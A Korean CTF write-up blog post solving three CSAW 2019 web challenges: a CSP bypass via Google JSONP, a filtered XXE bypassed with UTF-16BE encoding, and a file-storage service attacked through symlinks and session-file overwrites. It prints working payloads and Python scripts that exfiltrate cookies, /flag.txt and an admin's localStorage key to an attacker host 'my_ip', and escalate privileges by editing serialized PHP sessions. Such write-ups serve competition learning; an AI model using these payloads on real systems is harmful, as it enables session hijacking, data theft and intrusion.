Baby CSP

stored xss가 터지는데 csp가 걸려있다. 룰은 아래와 같다.

default-src 'self'; script-src 'self' *.google.com; connect-src *

대놓고 jsonp쓰라고 알려주고 있다. google.com 서브도메인 아무거나 찾아서 공격해주면 된다.

payload = <script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='http://my_ip/'.concat(document.cookie);"></script>

flag = flag{csp_will_solve_EVERYTHING}


unagi

xxe가 있는데 필터링이 존재한다. ENTITY , SYSTEM 등 xxe 할 때 쓸만한 문자열들을 다 필터하고 있는데 인코딩을 utf-16be형태 써서 우회해주면 된다.

이걸로 필터 우회해주면 인풋으로 뿌려지는 값 길이가 죄다 짧아서 플래그 파일 내용이 제대로 안나오는데 이건 그냥 OOB로 우회해주면 된다.

payload.xml

printf '%s' '<?xml version="1.0" encoding="UTF-16BE"'> payload

printf '%s' '?><!DOCTYPE svg [<!ENTITY % dtd SYSTEM "http://my_ip/evil.dtd">%dtd;%param1;]><users><user><name>&ssr;</name></user></users>' | iconv -f utf-8 -t utf-16be >> payload


evild.dtd

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">

<!ENTITY % param1 "<!ENTITY ssr SYSTEM 'http://my_ip:9999/%data;'>">


flag = flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}


Secure File Storage

개인적으로 재밌게 푼 문제다.

문제에서 제공해주는 소스는 다음과 같다.

client.py

import base64

import getpass

import os

import sys

import requests


api_base = os.environ.get('SFS_API', 'http://web.chal.csaw.io:1000/api/v1/')


session = requests.Session()


def api_register(username, password):

    resp = session.post(api_base + 'register', data={"username": username, "password": password}).json()

    return resp['status'] == 'ok'


def api_login(username, password):

    resp = session.post(api_base + 'login', data={"username": username, "password": password}).json()

    return resp['status'] == 'ok'


def api_get_file(path):

    resp = session.post(api_base + 'file/read', data={"path": path})

    if resp.status_code == 200:

        return base64.b64decode(resp.content)

    return None


def api_update_file(path, content):

    resp = session.post(api_base + 'file/edit', data={"path": path, "content": base64.b64encode(content).decode('ascii')}).json()

    return resp['status'] == 'ok'


def api_create_file(path, content):

    return api_update_file(path, content)


def api_delete_file(path):

    resp = session.post(api_base + 'file/delete', data={"path": path}).json()

    return resp['status'] == 'ok'


def api_list_files(path='/'):

    resp = session.post(api_base + 'file/list', data={"path": path}).json()

    if resp['status'] == 'ok':

        return resp['data']

    return None


def api_create_symlink(path, target):

    resp = session.post(api_base + 'file/symlink', data={"path": path, "target": target}).json()

    return resp['status'] == 'ok'


if __name__ == "__main__":

    try:

        input = raw_input

    except NameError:

        pass


    username = os.environ.get('SFS_USERNAME')

    if username is None:

        username = input('Username: ')


    password = os.environ.get('SFS_PASSWORD')

    if password is None:

        password = getpass.getpass('Password: ')


    if not api_login(username, password):

        print("Invalid username or password")

        sys.exit(1)

해당 코드를 통해 직접 api 기능을 요청해보면 로그인한 계정의 현재 경로에는 파일 읽기,쓰기가 되는데 다른 경로로 요청하면 경로 검증을 하고있었다.

이걸 우회하기위해 symlink 기능을 사용해주면 되는데, 현재 경로에 내가 읽고싶거나 덮고싶은 파일을 대상으로 심볼릭 링크를 걸어주면 된다.

이걸로 소스코드를 쭉쭉 leak 해보면 아래와 같이 내가 생성한 일반 계정과 같은 경우 읽기,쓰기 권한만 있고 리스팅,어드민 권한이 없는걸 볼 수 있다.

<?php


require_once 'db.php';


abstract class Privilege {

    const FILE_READ = 1 << 0;

    const FILE_WRITE = 1 << 1;

    const FILE_LIST = 1 << 2;

    const ADMIN = 1 << 3;

}


class User extends DBObject {

    public $username;

    public $password;

    public $privs = Privilege::FILE_READ | Privilege::FILE_WRITE;


    public static function getByName(string $username) {

        return DB::getObjectByProp(get_called_class(), "username", $username);

    }

}

문제에서는 어드민 파일을 찾으라고 했고, listing 기능이 존재하는걸 보니 해당 기능을 써야될 것 같다는 생각이 들었고, 어떻게 해야할지 생각하다가 그냥 session 파일을 수정해버리면 되겟다고 생각했다.

path=1234567&target=../../../../../../../../tmp/sess_huqtp469i1ni15bs96tfpgq7p7 

이런식으로 링크 걸고 읽어보면 현재 내가 로그인한 계정의 객체 정보가 아래와 같이 박혀있는걸 볼 수 있었다.

current_user|O:4:"User":4:{s:8:"username";s:23:"asdfasdgsadfasdgasdgasd";s:8:"password";s:60:"$2y$10$RArHdDvtipJfkfCQ3KxEe.n9eAYQJLQMOto5CEEmiM.6X9AU162Hq";s:5:"privs";i:3;s:2:"id";i:242;}

여기서 privs가 계정의 권한이었는데 아래와 같이 이걸 15로 바꿔서 리스팅,어드민 권한까지 추가해주니 관리자 페이지, 리스팅 기능 사용이 가능해졌다.

current_user|O:4:"User":4:{s:8:"username";s:23:"asdfasdgsadfasdgasdgasd";s:8:"password";s:60:"$2y$10$RArHdDvtipJfkfCQ3KxEe.n9eAYQJLQMOto5CEEmiM.6X9AU162Hq";s:5:"privs";i:15;s:2:"id";i:242;}

여기서 이제 됬구나하고 리스팅 열심히 하면서 플래그 파일이랑 어드민 관련 파일 같은걸 찾아봤는데 암것도 없었다.

뭐지 하다 어드민 계정이 업로드한 디렉토리에 존재하는 flag.txt를 읽어보니 아래와 같이 암호화된 값이 박혀있는걸 볼 수 있었다.

flag.txt

U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==

이 값과 같은 경우 해당 문제에서 파일을 업로드 할 때 파일 내용을 localStorage의 키 값을 통해 암호화해서 저장하고 있기 때문에 admin의 localStorage key값을 leak해야 했다.

이걸 가능하게 하려면 xss를 터트리는 수밖에 없어서 코드를 유심히 보니 admin이 로그인한 세션에 username값에 스크립트를 박아넣으면 admin이 admin page에 접근할때 xss가 터져서 key값을 leak할 수 있겠다 싶었다.

그래서 이 시나리오대로 진행하려고 어드민 session을 찾기 위해 tmp 디렉토리에 있는 session 파일을 리스팅해보니 한 3만개정도가 있었다...ㅋㅋ

너무 많아서 당황했다가 일단 합리적으로 생각을 해보기로 했고, admin 봇이 지속적으로 새로운 세션을 통해 로그인하고 있지 않을까? 라는 생각에 리스팅을 연속으로 두번진행해서 새로 생긴 세션에 대해 xss를 박아넣어면 하고 아래 코드를 미친듯이 돌려봤다.

import requests

import json


def get_list(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/list"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": file_path}

    result = requests.post(url, data=data, headers=header).text

    a = json.loads(result)

    result = a['data']

    return result


def link(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/symlink"

    header = {"Cookie":"PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path":"12345","target":file_path}

    result = requests.post(url,data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


def read(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/read"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345"}

    result = requests.post(url, data=data,headers=header).text

    if 'current_user|O:4:"User' in result:

        print file_path

        print result

def edit(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/edit"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345","content":"""current_user|O:4:"User":4:{s:8:"username";s:104:"<script>location.replace('http://my_ip/?d='.concat(localStorage.encryptSecret));</script>";s:8:"password";s:60:"$2y$10$AxHUirflQ7PbIt871V3f.eqqA/9SVxNenqCzlkAa99TlszFoHq.lO";s:5:"privs";i:15;s:2:"id";i:1;}"""}

    result = requests.post(url, data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


for k in range(0,100):

    

    list_1 = get_list("123456")

    list_2 = get_list("123456")

    result = list(set(list_2) - set(list_1))

    print result


    for i in range(0,len(result)):

        file_path = "../../../../../../../../tmp/" + result[i]

        link(file_path)

        read(file_path)

        edit(file_path)

        read(file_path)

한참 돌리니까 새로 생긴 세션 중에 admin 권한을 가진 세션도 있었고, 해당 세션을 overwrite해서 xss박으니까 가끔 key값이 날라오긴 했는데, 이게 진짜 어드민이 아니고 죄다 다른 문제푸는 사람이었다..ㅋㅋ

그래서 한참 고민하다 admin이 계속 고정된 세션을 유지하고 있는거면 대충 3만개 중에 진짜 어드민 세션이 있을거고, 이중에서 username이 admin이고 priv가 15, id가 1인애만 어떻게 찾으면 되겠다 싶었다.

그리고 이 생각대로 쭉 진행해봤는데 위에서 admin이라고 판별한 기준인 파일들이 엄청 많았다. 이게 근데 생각해보니 그냥 문제푸는 사람들이 세션 파일 내용 오버라이트가 가능하니까 admin이라고 보이는 객체를 엄청나게 생성해서 세션 파일 내용만가지고 도저히 어느게 진짜 admin session인지 구분할 수가 없었다.

여기서 한참 머리싸매다 문제 힌트로 어드민이 계속 사이트에 방문한다고 했으니, 이게 만약 봇이 로그인->어드민페이지 이 루틴도는거면 고정된 세션이라는 가정하에 내가 어드민 세션 파일을 덮어도 다시 어드민 원래 값으로 돌아올거라고 생각했다.

이 시나리오를 토대로 전체 세션 파일에 대해 

읽기 -> 쓰기 -> 읽기 -> 읽기 -> 읽기 -> 읽기 -> 읽기

요 형태로 진행했을때 내가 세션 내용을 덮은 후에 다시 원본 값으로 돌아오는 세션을 찾았다.

여기서 거의 반포기 상태로 돌린거였는데 파일 하나가 나왔다...

sess_4umud1lupqn0mpibor27r283o1

이거 가지고 아래 코드를 통해 xss를 다시 박아보니 admin의 localStorage.encryptSecret 키를 leak 할 수 있었다.


leak_key.py

import requests

import json


def get_list(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/list"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": file_path}

    result = requests.post(url, data=data, headers=header).text

    a = json.loads(result)

    result = a['data']

    return result


def link(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/symlink"

    header = {"Cookie":"PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path":"12345","target":file_path}

    result = requests.post(url,data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


def read(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/read"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345"}

    result = requests.post(url, data=data,headers=header).text

    if 'current_user|O:4:"User' in result:

        print file_path

        print result

def edit(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/edit"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345","content":"""current_user|O:4:"User":4:{s:8:"username";s:104:"<script>location.replace('http://my_ip/?d='.concat(localStorage.encryptSecret));</script>";s:8:"password";s:60:"$2y$10$AxHUirflQ7PbIt871V3f.eqqA/9SVxNenqCzlkAa99TlszFoHq.lO";s:5:"privs";i:15;s:2:"id";i:1;}"""}

    result = requests.post(url, data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path



for i in range(0,100):

    file_path = "../../../../../../../../tmp/sess_4umud1lupqn0mpibor27r283o1"

    link(file_path)

    read(file_path)

    edit(file_path)

    read(file_path)

localStorage.encryptSecret = wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=

leak한 키 값으로 flag.txt에 있는 암호화 파일을 복호화 했더니 플래그가 나왔다.

CryptoJS.AES.decrypt("U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==",atob("wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=")).toString();

Flag = flag{fddb53d704808cb859862d3eb9e9609bae3711bb}



'CTF > Writeup' 카테고리의 다른 글

CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
InCTF 2019 Web Write up  (0) 2019.09.23
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
블로그 이미지

JeonYoungSin

메모 기록용 공간

,